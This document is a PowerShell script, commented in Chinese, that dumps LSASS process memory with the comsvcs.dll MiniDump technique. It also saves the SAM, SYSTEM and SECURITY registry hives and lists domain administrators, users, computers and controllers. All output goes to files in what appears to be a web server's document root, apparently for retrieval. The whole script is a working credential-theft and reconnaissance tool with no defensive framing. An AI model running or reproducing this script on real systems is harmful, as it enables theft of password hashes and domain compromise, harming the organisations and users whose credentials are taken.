$ErrorActionPreference = 'SilentlyContinue' $out = 'D:\AppServ\www\zzqlsass.dmp' $log = 'D:\AppServ\www\zzqdmp.log' "=== START ===" | Out-File -FilePath $log -Encoding ascii # ---- 1. 找 lsass PID ---- $lsass = Get-Process lsass "LSASS_PID=$($lsass.Id)" | Out-File -FilePath $log -Append -Encoding ascii # ---- 2. comsvcs.dll MiniDump ---- $comsvcs = "$env:SystemRoot\System32\comsvcs.dll" "COMSVCS_EXISTS=$(Test-Path $comsvcs)" | Out-File -FilePath $log -Append -Encoding ascii $args = "C:\Windows\System32\comsvcs.dll, MiniDump $($lsass.Id) $out full" "RUN: rundll32 $args" | Out-File -FilePath $log -Append -Encoding ascii $p = Start-Process -FilePath "$env:SystemRoot\System32\rundll32.exe" -ArgumentList $args -NoNewWindow -PassThru -Wait "EXIT=$($p.ExitCode)" | Out-File -FilePath $log -Append -Encoding ascii if (Test-Path $out) { $sz = (Get-Item $out).Length "DUMP_SIZE=$sz" | Out-File -FilePath $log -Append -Encoding ascii } else { "DUMP_MISSING" | Out-File -FilePath $log -Append -Encoding ascii } # ---- 3. 注册表 hive 备份(SAM/SYSTEM/SECURITY)---- foreach ($h in @('SAM','SYSTEM','SECURITY')) { $dst = "D:\AppServ\www\zzq_$h.hiv" $r = reg save "HKLM\$h" $dst /y 2>&1 "$h => $r" | Out-File -FilePath $log -Append -Encoding ascii if (Test-Path $dst) { "$h SIZE=$((Get-Item $dst).Length)" | Out-File -FilePath $log -Append -Encoding ascii } } # ---- 4. 域信息(用机器账户读 AD)---- "=== DOMAIN ADMINS ===" | Out-File -FilePath $log -Append -Encoding ascii (net group "Domain Admins" /domain 2>&1 | Out-String) | Out-File -FilePath $log -Append -Encoding ascii "=== DOMAIN USERS ===" | Out-File -FilePath $log -Append -Encoding ascii (net user /domain 2>&1 | Out-String) | Out-File -FilePath $log -Append -Encoding ascii "=== DOMAIN COMPUTERS ===" | Out-File -FilePath $log -Append -Encoding ascii (net group "Domain Computers" /domain 2>&1 | Out-String) | Out-File -FilePath $log -Append -Encoding ascii "=== DOMAIN CONTROLLERS ===" | Out-File -FilePath $log -Append -Encoding ascii (net group "Domain Controllers" /domain 2>&1 | Out-String) | Out-File -FilePath $log -Append -Encoding ascii "=== ENTERPRISE ADMINS ===" | Out-File -FilePath $log -Append -Encoding ascii (net group "Enterprise Admins" /domain 2>&1 | Out-String) | Out-File -FilePath $log -Append -Encoding ascii "=== DONE ===" | Out-File -FilePath $log -Append -Encoding ascii